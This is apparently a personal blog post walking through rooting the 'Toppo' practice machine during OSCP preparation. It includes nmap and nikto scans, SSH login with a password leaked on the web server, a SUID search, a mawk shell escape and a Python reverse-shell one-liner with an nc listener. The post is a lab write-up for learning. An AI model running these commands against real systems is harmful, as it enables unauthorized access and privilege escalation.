A beautiful Saturday with ‘Toppo’ machine

Tashi Delek everyone!

Today is a beautiful Saturday and I have a very good news to share with you that I have raised enough money to fund myself to pursue OSCP course for 90 days, however, I think I will raise little more so that I could apply a better internet connection also.

Oh yeah, today I rooted a machine which I rooted actually quite sometime back and can’t recall how I did it, so I think it is a good mild challenge to resume my preparation.

This machine reveals its IP address right away when I switch it on therefore, I don’t need to scan it. Here is the screenshot.

Target Machine IP:

Let’s resume our usual step.

Step 1:

nmap -sC -sV -p- -T4 > nmap.txt

Step 2:

You can easily see that it is running http protocol, therefore, there is a web server. So I browse the IP ( address and it is loaded with a bootstrap site. I did follow my usual procedure to find any low hanging fruits by visit the source code, and check suspicious links and robots.txt etc.. Nevertheless, didn’t get anything interesting.

Therefore, I had to fired-up nikto (if nikto doesn’t give me good information, I go after gobuster, however, in this case, it gave me adequate information). By the way, the reason I put 80 after the nikto naming is because sometimes, we had to scan couple of web server ports, that’s why.

nikto -h > nikto80.txt

Step 3:

When I browse,  I got a very interesting information.

  1. It’s written
Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .


By looking at this password, it gave me a lunch that username is either ted or the person is related in away to ted.

Step 4:

I tried ssh on Target Machine (or victim machine)

ssh ted@

password: 12345ted123 


Step 5:

By the way, I must confess that, sometimes when you read the walk through of other people, you might get the impression that either the guy might be guru or he is just lucky. I must tell you that I went through many rabbit holes and done many research.  Nevertheless, at the time of writing, I just didn’t write those mistakes to keep it short and concise 🙂

Now, it is time to enumerate more to escalate the privilege.

First, let’s find SUID Executables (it is much easier for me)

find / -user root -perm -4000 -print 2>/dev/null

Step 6:

Method 01:

Through mawk  (Read This and you will understand)

mawk 'BEGIN {system("/bin/sh")}'

Method 02:

Exploiting Python 2.7  using reverse connection.

On my Kali Machine: 

nc -lvp 4000

On Victim Machine:  (Paste the following code)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4000));os.dup2(s.
fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Narration: Since this python script is a reverse tcp connection, therefore, I need to place my Kali Machine IP address ( at there to receive the connection through nc on port 4000.

I am not sure whether anybody is reading my blog nevertheless, I wish you will enjoy as much as I jot down here 🙂

Happy Weekend!!
